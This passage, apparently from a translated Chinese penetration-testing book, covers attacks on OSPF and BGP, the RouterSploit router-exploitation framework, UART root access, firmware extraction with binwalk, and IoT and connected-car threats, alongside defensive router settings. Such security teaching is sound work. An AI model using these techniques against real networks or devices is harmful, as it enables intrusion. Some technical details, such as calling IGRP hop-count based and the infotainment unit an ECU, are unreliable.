在过去的几年里,许多研究表明,使用 OSPF 的路由器容易受到各种类型的攻击。这是一个严重的问题,因为 OSPF 是许多自治系统中最常用的协议,包括许多企业。让我们了解一些针对 OSPF 协议的攻击。
伪装 LSA
这种攻击利用 RFC 2328 中的条件来检查两个 LSA 实例是否相同,基于三个标准:序列号、校验和值和年龄。因此,攻击者可以使用这些字段广告虚假 LSA,但在下一个有效实例中,因为路由器将 LSA 视为重复的,它将忽略它。
要执行伪装 LSA 攻击,请按照以下步骤:
-
攻击者发送了一个伪造的 LSA
-
攻击者发送了一个带有前面讨论过的相同三个字段的伪装 LSA
-
路由器 1 发送了一个反击 LSA,路由器 2 会收到,但不会更新 LSA 数据库,而接收到的 LSA 是相同的。
-
路由器 2 触发另一个反击
MaxAge LSAs
攻击者试图修改 LSA 的 MaxAge 以毒害路由表,向网络发送 LSA 洪泛,并甚至使网络流量陷入黑洞。为了防御 MaxAge LSAs,请确保反击陷阱可用。
远程虚假邻接
在远程虚假邻接攻击中,攻击者扮演路由器的角色,并利用路由器可以成功完成邻接设置的事实。通过启用 TTL 安全功能,可以避免这种攻击:
Seq++攻击
当攻击者滥用路由器并发送 LSAs 虚假信息和一个比当前序列号更高的序列号来妨害路由器时,就会发生 seq++攻击。为了防御这种攻击,可以使用反击陷阱。
持续中毒
CVE 2013-0149 中提到了持续中毒,并迫使路由器根据虚假 LSA 计算路由。
防御
还有许多其他防御机制可以避免 OSPF 攻击;以下是一些防御层:
- **仅过境网络:**这些配置路由器以抑制后缀:
(config-router)#prefix-suppression
- 使用隐藏接口:有时被称为无编号接口:
(config-if)#ip unnumbered Ethernet 0
- 启用 TTL 安全:
(config-if)# Ip ospf ttl-security
- 启用 MD5 加密支持:
(config-if)# Ip Ospf message-digest-key 1 md5 ab$c1
-
反欺骗入口过滤:通过确保流量来自受信任的来源,阻止恶意流量
-
链路状态数据库校验和:这确保了 OSPF LSDB 的一致性
内部网关路由协议
内部网关路由协议(IGRP)是一种分类距离矢量路由协议。与 RIP 一样,IGRP 中的路由决策基于贝尔曼-福特算法,使用跳数。它不是一个开放标准。这是 Cisco 专有的。最大支持跳数为 255,默认值为 100。因此,对于大型公司来说,它比 RIP 更具可扩展性。而且,它易于配置:
Router(config)# router igrp <AS NUM HERE> Router(config-router)# network < NeT ID Here >
IGRP 在同一个自治系统中每 90 秒定期发送信息。这个计时器被称为更新计时器。如果更新时间超过 270 秒(无效计时器),那么它将无效,并且如果超过 360 秒(刷新计时器),它将从路由表中删除。IGRP 不支持认证,它的数据包可以被伪造。
增强内部网关路由协议
增强内部网关路由协议(EIGRP)是 IGRP 的增强版本。它使用双算法。路由器使用Hello请求与邻居建立连接,同时有五种消息类型(hello,update,ack,query 和 reply)。以下图表显示了 EIGRP 的工作原理:
EIGRP 维护以下三个表:
-
邻居表
-
拓扑表
-
路由表
EIGRP 使用以下公式计算成本以选择路由:
度量=带宽+延迟
虽然 IGRP 不支持认证,但 EIGRP 增加了两个主要的安全功能——明文和 MD5 认证形式。如果未设置 MD5 认证,数据包很容易被嗅探。
边界网关协议
边界网关协议(BGP)基本上是互联网的工作原理。它是一种高度可扩展的路由协议,其当前版本基于 RFC 4271。它将信息存储在路由信息库(RIB)中。
如果您的公司需要连接到互联网服务提供商,可以选择多种可能性之一:
-
单主连接
-
双主连接:
您还可以使用多种类型的连接连接到多个服务提供商:
- 单个多宿主:
- 双多宿主:
BGP 攻击
BGP 是许多攻击的目标。让我们发现一些 BGP 威胁:
-
虚假更新和前缀劫持:这种攻击,有时被称为 BGP 劫持,发生在一个自治系统将流量路由到被劫持的自治系统时。
-
去聚合:在这种攻击中,一个地址块被划分为更具体的块和前缀。
-
矛盾的广告:在这种攻击中,攻击者将流量重定向到另一个自治系统。
-
不稳定性:当 BGP 会话反复超时时发生此攻击
利用路由器
之前,我们看到了如何利用路由协议。现在是时候学习如何利用现代路由器了。
路由器组件
像每个主要的网络设备一样,路由器由许多内部组件组成:
-
CPU:执行系统操作
-
RAM:用于存储指令
-
ROM:包含引导指令
-
闪存:包含 IOS
-
NVRAM:包含启动配置文件:
路由器引导过程
为了引导,每个主要的路由器都经历多个步骤:
-
首先,路由器执行 POST。
-
它加载引导程序。
-
它定位并加载操作系统。
-
您可以选择进入设置模式或加载配置文件:
路由器攻击
你已经了解了路由协议的威胁,现在我们将讨论针对路由器的攻击;即使硬件也面临许多具有挑战性的威胁:
-
DDoS 攻击
-
中间人攻击
-
路由器固件攻击
路由器利用框架
Routersploit 框架是一个用于利用路由器嵌入式系统的开源工具。您可以像往常一样使用git clone命令从此链接克隆它:
#git clone https://github.com/reverse-shell/routersploit
在使用之前,您需要安装一些依赖项,如python-pip:
从 GitHub 克隆存储库到您的本地机器:
克隆后,您可以在 CLI 中运行脚本来运行它:
# ./rsf.py
要检查扫描仪,请键入以下内容:
# show scanners
要检查凭据,请使用此命令:
# show creds
摘要
本章是学习如何利用路由协议和路由器的完整指南。它在向您介绍路由协议的基础知识之后展示了真实世界的攻击技术。通过阅读本章,您已经获得了执行二层和三层攻击所需的知识,并具备了保护现代公司网络的正确思维和工具。在下一章中,我们将扩展我们的知识。此外,您还将学习如何保护物联网项目。
第十二章:物联网利用
术语“物联网”是由麻省理工学院媒体中心的凯文·阿什顿创造的。它描述了包括摄像头、车辆和传感器在内的物理设备网络。物联网得到了指数级的采用,并且代表了不可否认的承诺和可能性。这种快速采用为新的商业机会打开了大门,但另一方面,从安全角度来看,也揭示了新的威胁和弱点。本章将是您的救世主。因此,它将带您了解物联网生态系统,了解如何抵御真实世界的物联网攻击。实际上,在本章中,您将学会在学习如何利用物联网环境之后,获得准备安全物联网项目所需的技能,从最小的设备到连接的汽车。根据 F5 Labs 的报告,2017 年上半年物联网攻击激增了 280%。在本章中,我们将完成我们的旅程。这是又一个里程碑。在走过攻击和保护宝贵企业资产的不同技术之后,是时候继续学习经验,并发现渗透测试物联网项目的技能了。
物联网生态系统
到 2020 年,将有超过 500 亿个连接设备。这么多设备将带来大量新的威胁。作为渗透测试人员,我们需要准备好抵抗这场技术启示。物联网生态系统基于许多因素,我们也在以下图片中显示了这些因素:
-
商业机会
-
公共机构
-
消费者
-
基础设施
物联网项目架构
像任何技术项目一样,典型的物联网项目由许多组件组成,如下所示(请参见以下图片):
-
远程设备
-
数据存储
-
物联网设备(例如,闭路电视摄像头,家用路由器,打印机,工业系统和连接的汽车)
-
网关
这幅图表显示了物联网项目的典型架构:
物联网协议
在典型的物联网项目中,涉及许多协议以确保满足要求。它们分为不同的层。以下是一些知名的物联网协议:
-
Wi-Fi:这是物联网开发人员广泛使用的协议。它基于 IEEE 802.11 标准。它使用 2.4 GHz 和 5 GHz 作为频段频率,范围约为 50 米。通常,它可以传输 150-200 Mbps 的数据。
-
Z-Wave:这是一种低功率容量的射频通信技术。它广泛用于传感器和家庭自动化产品,数据速率为 100 Kbps。它可以控制最多 232 个设备,范围为 30 米。
-
Zigbee:这类似于蓝牙。它基于 IEEE 802.15.4 协议,并在 2.4 GHz 频率上运行。通常在我们没有大数据速率的情况下使用,通常为 250 Kbps,范围为 100 米。有许多 Zigbee 配置文件,例如 Zigbee PRO 和 Zigbee 远程控制(RF4CE)。最新版本是 Zigbee 3,它结合了所有先前的 Zigbee 标准。
-
Sigfox:这是一种广域技术,在农村环境下为 30-50 公里,在城市环境下为 3-10 公里。它在 900 MHz 频率上运行,数据速率为 10-1000 Kbps。您无需许可证即可使用其频段,因为它在免许可使用频段(ISM)上运行。
-
Lora:这类似于 Sigfox。它旨在在 WAN 网络上运行(在城市环境下为 2-5 公里,在郊区环境下为 15 公里),数据速率为 0.3-50 Kbps。
-
近场通信(NFC):这是一种基于 ISO/IEC 18000-3 标准的双向交互技术,频率为 13.56 MHz,在智能手机中广泛使用,特别是在非接触式支付操作中。它在 4 到 10 厘米的范围内运行,数据速率为 100-420 Kbps。
-
IPv6 低功耗无线个人区域网络(6LOWPAN):这是基于 RFC 6282 的互联网协议。它非常适应性强,可以使用不同的通信平台,如 Wi-Fi 和以太网。
物联网通信堆栈
物联网通信堆栈类似于 OSI 网络模型。它代表了不同层之间的所需功能和交互。它由以下层组成:
-
数据层
-
端到端层
-
网络层
-
ID 层
-
链路层
-
物理层
IP 智能对象协议套件
与 TCP/IP 模型类似,物联网项目有自己的套件和表示,名为 IP 智能对象协议套件:
标准组织
物联网展示了一个充满希望的未来。因此,它需要被许多组织和联盟组织和标准化。以下是一些知名的物联网标准组织:
-
国际电工委员会(IEC):IEC 作为物联网标准的最大贡献者之一,发挥着重要作用,特别是通过其 IEC 62056(DLMS/COSEM)讨论智能电表。
-
国际标准化组织(ISO):ISO 致力于各种产品,特别是通过 ISO/AWI 18575 标准在供应链中的物联网。ISO 还与 IEC 联合成立了一个联合技术委员会。
-
电气和电子工程师学会(IEEE):IEEE 制定了物联网的 IEEE P2413 标准,以及其他标准,如 IEEE 802.15.4。
-
互联网工程任务组(IETF):IETF 对物联网有一个以网络为中心的愿景。这一愿景得到了通过在受限制的 RESTful 环境和 IPv6 协议上的工作的支持。
物联网攻击面
上一节是对物联网生态系统的简要概述。物联网为企业提供了一个惊人的增长机会,但也伴随着大量的威胁。从不同的角度来看,物联网面临着许多挑战,包括安全性、集成问题和互操作性。在市场发展的早期阶段,物联网可能会对这些领域产生许多安全警报和技术威胁。
设备和设备
设备是物联网项目的核心组件。在本小节中,我们将探讨硬件威胁,并在另一个点讨论框架攻击。物理安全在信息安全中起着重要作用。未受保护的设备对您的架构构成真正的威胁。暴露的设备很容易受到攻击。因此,黑客可以通过公开可用的数据表和大多数使用的知名设备的必需信息在线收集有关设备的信息。网站,如wiki.openwrt.org帮助用户了解各种设备,如路由器和网关的详细信息:
这一步可能是危险的,因为通过了解硬件信息,攻击者可以识别(作为入口点)使用的接口,如通用异步收发器(UART),如果攻击者成功通过查找 PINS(TX、RX 和 GND)连接到设备,就可以获得 root 访问权限,使用万用表作为连续模式(此模式不需要电源):
上图说明了用 USB 电缆连接的引脚。您需要找到波特率,它类似于比特率(每秒的位数),但它是每秒的信号变化次数。换句话说,它是每秒符号的信息变化次数。要识别设备的波特率,您可以使用 Craig Heffner 在 GitHub 链接中开发的脚本:github.com/devttys0/baudrate/blob/master/baudrate.py。一旦获得合适的波特率,就可以连接到设备。
固件
固件是一组软件,它控制设备的硬件。分析固件是物联网渗透测试的关键步骤。为了实现这一点,您可以使用许多工具和实用程序。其中之一是 binwalk,这是一个由 Craig Heffner 开发的伟大工具,可以帮助渗透测试人员分析物联网设备的固件。您可以从以下 GitHub 链接获取它:github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md。让我们运行以下命令:
# git clone https://github.com/ReFirmLabs/binwalk/
# cd binwalk
# ./deps.sh
然后,使用以下命令安装它:
# sudo ./setup.py install
如果您使用 Kali Linux 发行版,可以通过在 CLI 中键入binwalk来直接使用 binwalk:
例如,如果您想使用 binwalk 收集关于 Airlink 101 AR430W V1 路由器二进制文件的信息,请使用以下命令:
# binwalk ar430w-firmware.bin
要从二进制文件中提取文件,请添加-e选项:
如果您想提取特定文件类型,请使用-D选项:
# binwalk -D 'png image:png' <firmware_binary_here>
从二进制文件中提取文件后,您可以进行固件分析。如果您想自动化这个过程,可以使用来自github.com/craigz28/firmwalker的 firmwalker:
Web 界面
不安全的 Web 界面对物联网项目构成巨大风险。许多设备都集成了 Web 服务器,就像任何其他 Web 服务器应用程序项目一样,它们容易受到 Web 应用程序攻击的影响,并且可以被利用。集成的 Web 应用程序不仅容易受攻击,而且缺乏传输加密也是一种危险的举动;因此,发送的消息可能会被拦截。
网络服务
网络服务在任何物联网项目中都是必不可少的。如前几节所讨论的,典型的物联网项目可能使用许多通信协议,这些通信面临不同的威胁:它们是攻击者的高价值目标。对于攻击者来说,映射攻击面使得黑客尝试更加成功。
云接口和第三方 API
物联网项目可以使用云接口和第三方 API。它们在现代组织中尤其是在物联网项目中扮演着重要角色,同时它们简化了许多云处理过程。这就是为什么作为渗透测试人员,您应该考虑它们。敏感数据可以通过这些渠道传输,许多 API 用于身份验证和授权。因此,您需要确保云接口和第三方 API 的安全性。
案例研究 - Mirai 僵尸网络
为了更清楚地了解和认识到不安全的物联网的危险影响,让我们深入了解一下影响数百万设备和用户的灾难性攻击之一。那就是 Mirai 僵尸网络。Mirai 在日语中意味着“未来”。它使用数百万受损设备对许多企业和服务提供商进行了分布式拒绝服务(DoS)攻击,包括 DNS、Twitter、PayPal、reddit、Brian Krebs 网站和许多其他知名网站:
OWASP 物联网项目
在第一章中,我们看到了开放式 Web 应用程序安全项目(OWASP)指南作为众所周知的 Web 应用程序安全标准之一。它们也是活跃的,并且他们正在制定一个新的列表,代表了面临物联网项目的前 10 个威胁。接下来将提到这 10 个威胁。
不安全的 Web 界面
如前所述,Web 界面在任何物联网项目中都很重要。这就是为什么不安全的 Web 界面被列为前 10 个威胁之一。为了确保您的物联网 Web 界面通常是安全的,至少使用一个 Web 应用程序漏洞扫描程序。Nikto是最常用的用于检查 Web 应用程序安全性的工具之一。如果您使用 Kali Linux,您可以直接通过 CLI 使用它。它是 Kali Linux 中的内置工具:
如果你想使用 Nikto 扫描你的网络应用程序界面,请输入以下命令:
#sudo nikto -h <your_interface_address_here>
在下面的例子中,我们使用www.example.com网站作为演示:
不足的认证/授权
认证问题对物联网设备构成了真正的安全威胁。如果接口没有用强密码保护,设备可能会受到攻击。你可以看到,即使设备和家用电器是新的,攻击技术也是老的。这一切都取决于用户的行为。为了避免这种类型的攻击,确保所有密码都是强密码,并且更改每个默认密码。例如,你可以使用howsecureismypassword.net/来检查你密码的强度:
不安全的网络服务
不安全的网络服务可能被利用来通过网络的外部和内部手段来妥协设备,通常是通过使用端口扫描器识别开放端口。在这种情况下,你需要确保只有必需的端口是开放的。
缺乏传输加密
将数据作为纯文本传递代表着你的物联网项目面临巨大的风险。加密数据始终是避免数据被拦截的最佳方法。有许多标准的加密技术和协议,如 SSL 和 TLS。你可以使用一个名为sslscan的工具来扫描你的项目,这是 Kali Linux 中的一个内置工具:
作为演示,这是扫描输出消息的一部分:
隐私问题
许多隐私问题可能会被视为物联网项目的威胁。能够收集有关使用数据的信息,特别是敏感信息,可能是危险的;同时,获取有关设备功能的信息也是危险的。
不安全的云接口
云计算在现代物联网项目中扮演着重要的角色。确保云接口是安全的是必须的。作为安全措施,你需要减轻异常行为,并至少实施一个账户锁定机制。
不安全的移动接口
移动应用程序非常重要。不安全的移动接口可能会使物联网项目陷入危险。未加密的数据可能会被攻击者拦截。
不足的安全可配置性
在配置方面需要采取许多措施。分离管理面板和接口,记录安全事件,并启用警报是避免不足的安全可配置性的明智决定。
不安全的软件/固件
在前面的部分中,我们讨论了固件威胁,因为你知道它是软件,每个软件都可以被利用。使用静态和动态分析进行固件分析总是加固固件的一个好方法。
差劲的物理安全
不要忘记物理安全。对设备的访问可能对你的项目构成威胁。暴露设备和错误放置它们可能是危险的。如果你把你的设备暴露给任何人,他们可以被拆解或通过开放接口(如 USB)访问。
黑客攻击连接的汽车
物联网设备和家用电器并不是唯一受到攻击的受害者。最近的许多研究表明,连接的汽车也可能受到攻击。根据汽车黑客攻击脆弱性调查,2016 年 1 月,60%的千禧一代支持汽车变得更加连接。现代连接的汽车由许多以下单元组成:
-
信息娱乐(主机单元)-有时称为发动机控制单元(ECU)
-
远程监控和连接形式
-
GPS 和导航系统
-
车辆对车辆通信系统
-
安全和防盗系统
-
传感器
-
夜视
大多数连接的汽车包括一个控制器区域网络,它将所有汽车的组件(传感器、气囊等)与中央控制单元连接起来。控制器区域网络的标准自 1993 年以来已被 ISO 接受和发布:
对连接的汽车的威胁
连接的汽车面临来自不同攻击向量的许多威胁。因为它们由许多单元组成,所以存在各种攻击类别:
-
固件攻击
-
操作系统攻击
-
对 CAN 的远程攻击
-
OBD2 受损
-
嗅探
-
恶意下载的应用程序
一辆日产 Leaf 被通过手机应用程序和网络浏览器进行了安全研究。2016 年 2 月,安全研究人员展示了可以通过互联网使用日产手机应用程序访问日产汽车。
总结
这一章是一个简单明了的指南,旨在帮助开发人员、制造商和渗透测试人员构建和保护物联网项目。我们首先发现了物联网生态系统,以及典型物联网项目的不同组成部分。我们看到了物联网项目面临的威胁,以及确保物联网环境安全所需的步骤。在这一点上,您已经掌握了执行渗透测试任务所需的技术技能和适当的心态。现在,您将能够保护现代组织基础设施免受当今的威胁和攻击,并部署适当的防护措施来抵御这些攻击。